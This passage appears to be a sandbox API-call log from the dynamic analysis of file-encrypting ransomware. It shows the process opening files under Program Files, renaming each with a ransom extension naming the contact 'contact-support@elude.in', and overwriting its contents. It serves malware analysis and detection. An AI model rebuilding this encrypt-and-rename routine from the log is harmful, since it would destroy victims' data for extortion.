[0201.559] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0201.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3e150046, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7824, dwReserved0=0x9647496, dwReserved1=0x7059e28, cFileName="ADR5.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR5XL~1.FIR")) returned 0x6d4f00 [0201.559] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0201.559] Sleep (dwMilliseconds=0x1) [0203.071] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM", len=0x6a | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM") returned 1 [0203.071] GetProcessHeap () returned 0x630000 [0203.071] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bd4) returned 0x7133a90 [0203.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0203.077] CloseHandle (hObject=0x6f4) returned 1 [0203.077] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\readme.htm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb99d23b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x173, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="README.HTM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="README~1.FIR")) returned 0x6d53c0 [0203.089] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0203.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\readme.htm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0203.089] GetProcessHeap () returned 0x630000 [0203.089] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0203.090] GetProcessHeap () returned 0x630000 [0203.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e1ea0 [0203.090] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.090] ReadFile (in: hFile=0x6f4, lpBuffer=0x6e2830, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesRead=0x64bff0c*=0x160, lpOverlapped=0x0) returned 1 [0203.092] GetProcessHeap () returned 0x630000 [0203.092] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0203.092] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.092] WriteFile (in: hFile=0x6f4, lpBuffer=0x6e1ea0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e1ea0*, lpNumberOfBytesWritten=0x64bff0c*=0x160, lpOverlapped=0x0) returned 1 [0203.092] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.092] WriteFile (in: hFile=0x6f4, lpBuffer=0x6e1fff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e1fff*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0203.093] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.093] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0203.093] CloseHandle (hObject=0x6f4) returned 1 [0203.093] GetProcessHeap () returned 0x630000 [0203.093] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e1ea0 | out: hHeap=0x630000) returned 1 [0203.093] GetProcessHeap () returned 0x630000 [0203.093] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0203.093] GetProcessHeap () returned 0x630000 [0203.093] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0203.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb99d23b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3effe82e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x64bfd20, dwReserved1=0x6e2830, cFileName="README.HTM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="README~1.FIR")) returned 0x6d5280 [0203.093] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0203.093] Sleep (dwMilliseconds=0x1) [0203.099] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi", len=0x6b | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi") returned 1 [0203.099] GetProcessHeap () returned 0x630000 [0203.099] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bd0) returned 0x7133a90 [0203.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0203.302] CloseHandle (hObject=0x66c) returned 1 [0203.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia64.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia64.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1de43d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x216000, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="osmia64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSMIA6~1.FIR")) returned 0x6d4f00 [0203.304] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0203.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia64.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0203.304] GetProcessHeap () returned 0x630000 [0203.304] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7053120 [0203.304] GetProcessHeap () returned 0x630000 [0203.304] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739c800 [0203.304] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.304] ReadFile (in: hFile=0x66c, lpBuffer=0x7053120, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7053120*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.437] GetProcessHeap () returned 0x630000 [0211.437] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0211.437] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.437] WriteFile (in: hFile=0x66c, lpBuffer=0x739c800*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x739c800*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.437] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.437] WriteFile (in: hFile=0x66c, lpBuffer=0x73a7bff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a7bff*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0211.439] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.440] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0211.440] CloseHandle (hObject=0x66c) returned 1 [0211.440] GetProcessHeap () returned 0x630000 [0211.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739c800 | out: hHeap=0x630000) returned 1 [0211.440] GetProcessHeap () returned 0x630000 [0211.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7053120 | out: hHeap=0x630000) returned 1 [0211.441] GetProcessHeap () returned 0x630000 [0211.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0211.441] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x43f9b329, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x216024, dwReserved0=0x9647496, dwReserved1=0x7053118, cFileName="osmia64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSMIA6~1.FIR")) returned 0x6d5340 [0211.442] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0211.442] Sleep (dwMilliseconds=0x1) [0213.021] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll", len=0x80 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll") returned 1 [0213.069] GetProcessHeap () returned 0x630000 [0213.069] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4edc) returned 0x7128660 [0213.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0213.070] CloseHandle (hObject=0x694) returned 1 [0213.070] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0213.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0213.071] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x72002e, dwReserved1=0x6c006c, cFileName="msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOLUI~1.FIR")) returned 0x6d5200 [0213.071] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0213.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0213.071] GetProcessHeap () returned 0x630000 [0213.071] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3741) returned 0x72571e8 [0213.072] GetProcessHeap () returned 0x630000 [0213.072] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3741) returned 0x6fe3bb0 [0213.072] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.072] ReadFile (in: hFile=0x694, lpBuffer=0x72571e8, nNumberOfBytesToRead=0x3720, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72571e8*, lpNumberOfBytesRead=0x64bff0c*=0x3720, lpOverlapped=0x0) returned 1 [0215.093] GetProcessHeap () returned 0x630000 [0215.093] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0215.093] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.094] WriteFile (in: hFile=0x694, lpBuffer=0x6fe3bb0*, nNumberOfBytesToWrite=0x3720, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe3bb0*, lpNumberOfBytesWritten=0x64bff0c*=0x3720, lpOverlapped=0x0) returned 1 [0215.094] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.094] WriteFile (in: hFile=0x694, lpBuffer=0x6fe72cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe72cf*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.094] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.094] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.094] CloseHandle (hObject=0x694) returned 1 [0215.094] GetProcessHeap () returned 0x630000 [0215.094] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe3bb0 | out: hHeap=0x630000) returned 1 [0215.095] GetProcessHeap () returned 0x630000 [0215.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72571e8 | out: hHeap=0x630000) returned 1 [0215.095] GetProcessHeap () returned 0x630000 [0215.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0215.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x462796ba, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x9647496, dwReserved1=0x72571e0, cFileName="msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOLUI~1.FIR")) returned 0x6d4f40 [0215.095] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0215.095] Sleep (dwMilliseconds=0x1) [0216.759] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x64bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml") returned 1 [0216.759] GetProcessHeap () returned 0x630000 [0216.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fb4) returned 0x74d7f88 [0216.759] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0216.760] CloseHandle (hObject=0x6a4) returned 1 [0216.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.760] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4ec0 [0216.762] FindClose (in: hFindFile=0x6d4ec0 | out: 